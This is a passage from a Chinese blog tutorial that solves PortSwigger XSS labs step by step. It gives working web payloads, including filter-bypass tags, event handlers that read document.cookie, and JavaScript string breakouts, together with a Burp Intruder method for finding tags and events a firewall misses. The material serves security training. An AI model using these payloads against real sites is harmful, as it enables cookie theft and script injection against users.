PortSwigger Cross-site scripting(xss实验详解,小白也可以看懂!!)

目录

一.Reflected XSS into HTML context with most tags and attributes blocked

二.Reflected XSS into HTML context with all tags blocked except custom ones

三.Reflected XSS with some SVG markup allowed

四.Reflected XSS in canonical link tag

五.Reflected XSS into a JavaScript string with single quote and backslash escaped

六.Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

七.Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

八.Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped


一.Reflected XSS into HTML context with most tags and attributes blocked

要求:在一个通过web应用防火墙(WAF)过滤了大多数常见标签和属性的搜索框中,执行一次无需用户交互的反射型XSS攻击,从而成功调用print()函数

1.尝试常规payload

<img src=1 onerror=print()>

tag is not allowed,需要寻找绕过路径

2.使用Burp Suite的intruder扫描哪些标签未被拦截

1)打开拦截,在搜索框中填入任意字符发送,然后将拦截到的包发送给intruder

2)测试哪些tag是被允许的,注意需要在tag外面加上尖括号<>

3)payload在PortSwigger里找,xss cheat sheet

4)开始攻击,可以看到大部分被过滤的标签,返回的状态码是400,从中发现body没有被过滤

5)测试body标签下,哪些事件属性未被拦截

将搜索设置为事件的位置,%20是空格的url编码,然后再从xss cheat sheet中复制事件到payloads

search=<body%20§aaa§=1>

6)开始攻击,可以看到大部分被过滤的事件,状态码都是400,从中发现onresize没有被过滤

3.构造攻击代码

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/?search=%22%3E%3Cbody%20onresize=print()%3E" onload=this.style.width='100px'>

解释:这段代码的作用是构造一个自动触发 XSS 的iframe,通过精心设计的 URL 参数注入 HTML 元素 <body onresize=print()>,然后再通过 iframeonload 事件将其宽度设置为 '100px',从而强制触发 <body>onresize 事件,最终执行 print() 函数

二.Reflected XSS into HTML context with all tags blocked except custom ones

要求:所有标准HTML标签都被过滤,只允许使用自定义标签,利用这一思安绕过过滤器,并自动弹出document.cookie

1.由于拦截了所有标准HTML标签,我们应该自定义标签(<abc>,<xss>,<custom>等等任意字符),虽然这些标签没有功能,但是浏览器仍渲染他们,并允许绑定事件

2.使用onfocus(获得焦点时执行)+autofocus(页面加载时自动获得焦点)实现自动触发,设置tabindex=1使该元素可聚焦

3.完整payload

<xss onfocus=alert(document.cookie) tabindex=1 autofocus>

4.构造URL,发送给受害者

<script>location = 'https:/YOUR-LAB-ID.web-security-academy.net/?search=<custom onfocus=alert(document.cookie) tabindex=1 autofocus>'</script>

三.Reflected XSS with some SVG markup allowed

要求:页面过滤了常见HTML标签,但仍然允许部分SVG标签和事件属性,我需要构造一个不需要用户交互的XSS payload,使浏览器自动执行alert()

1.找到允许的标签:可以使用animatetransform

它是 SVG 中用来对图形进行变换(如旋转、缩放、平移)动画的标签,属于 SVG SMIL 动画。

2.找到允许的事件:可以使用onbegin

当动画开始播放时,onbegin 事件就会触发。我们可以利用这个特性来执行恶意 JavaScript,如 alert(document.cookie)

3.构造攻击

<svg>
  <animateTransform attributeName="transform"
                    attributeType="XML"
                    type="rotate"
                    from="0" to="360"
                    dur="1s"
                    begin="0s"
                    repeatCount="1"
                    onbegin="alert(document.cookie)" />
</svg>

解释:begin设置为0s自动播放,动画开始时触发JS,执行alert()

四.Reflected XSS in canonical link tag

要求:利用反射型XSS漏洞,通过向canonical链接标签注入javascript属性,触发alert()函数,假设攻击者可以利用的模拟快捷键(ALT+SHIFT+X、CTRL+ALT+X、Alt+X)来触发攻击。

1.通过特定快捷键可以触发onclick事件,构造以下代码

accesskey='x'onclick='alert(1)

解释:通过特定的快捷键(例如 Alt+X),可以激活包含恶意 onclick 事件的元素,从而执行 JavaScript 代码。

2.观察我们控制的变量的位置

应该闭合href,所以前面加一个单引号'

3.完整的构造

?'accesskey=%27x%27onclick=%27alert(1)

五.Reflected XSS into a JavaScript string with single quote and backslash escaped

要求:用户输入被反射到 JavaScript 中的 单引号字符串内,同时对 '\ 进行了转义处理。我们需要通过构造特殊的 payload 来跳出字符串并注入 JavaScript 代码,从而在浏览器中自动执行 alert() 函数,完成反射型 XSS 攻击。

1.首先,输入任意字符串,截取包,并观察response

可以看到我输入的abc在script里面

2.尝试做一些攻击,输入<script>alert(1)</script>

看起来<script>中一些字符被转义了,并不是我们想要的

3.直接闭合原本的script块,那么可以避免字符被转义,直接被执行

</script><script>alert(1)</script>

六.Reflected XSS into a JavaScript string with angle brackets and double quotes HTML-encoded and single quotes escaped

要求:反射型 XSS(Reflected Cross-site Scripting)漏洞,在网页中注入 JavaScript 代码,实现 alert() 调用,其中某些危险字符被转义

1.直接写入攻击代码,观察返回的形式

可以看到,尖括号都会被转义,所以无法使用<script>

2.所以考虑直接在原本的script块中执行,闭合原本的字符串

\'-alert(1)//

解释:我们可以观察到单引号会被转义为反斜杠+单引号,所以前面加上\',使得原本的字符串可以正确闭合,然后用减号分隔使得alert(1)执行,后面加上//注释掉后面的单引号

七.Stored XSS into onclick event with angle brackets and double quotes HTML-encoded and single quotes and backslash escaped

要求:存储型XSS漏洞,出现在网站的评论功能中。当评论者的名字被点击时,调用 alert() 函数

1.首先,随便填写一些信息,查看这些信息的位置

可以看到我输入的website在href和onlick里面,可以通过构造website来进行攻击

2.构造payload

http://myene.com?'-alert(1)-'

解释:加上?'使得前面的字符串闭合,用减号分割,加入执行的函数alert(1),再用减号分割,加上单引号,与后面的单引号进行配对。

发现单引号被转义了

3.修改单引号为&apos;,这是一个字符实体,可安全的表示一个单引号

http://myene.com?&apos;-alert(1)-&apos;

八.Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode-escaped

要求:本实验中的 XSS 漏洞发生在 JavaScript 的 模板字符串(Template Literal) 中,即被反射的用户输入嵌入在反引号 `...` 中,同时,应用对常见危险字符进行了转义。构造输入使得在这种结构中成功注入并执行 alert()

(持续更新,2025.5.3)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

你好我是小美

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值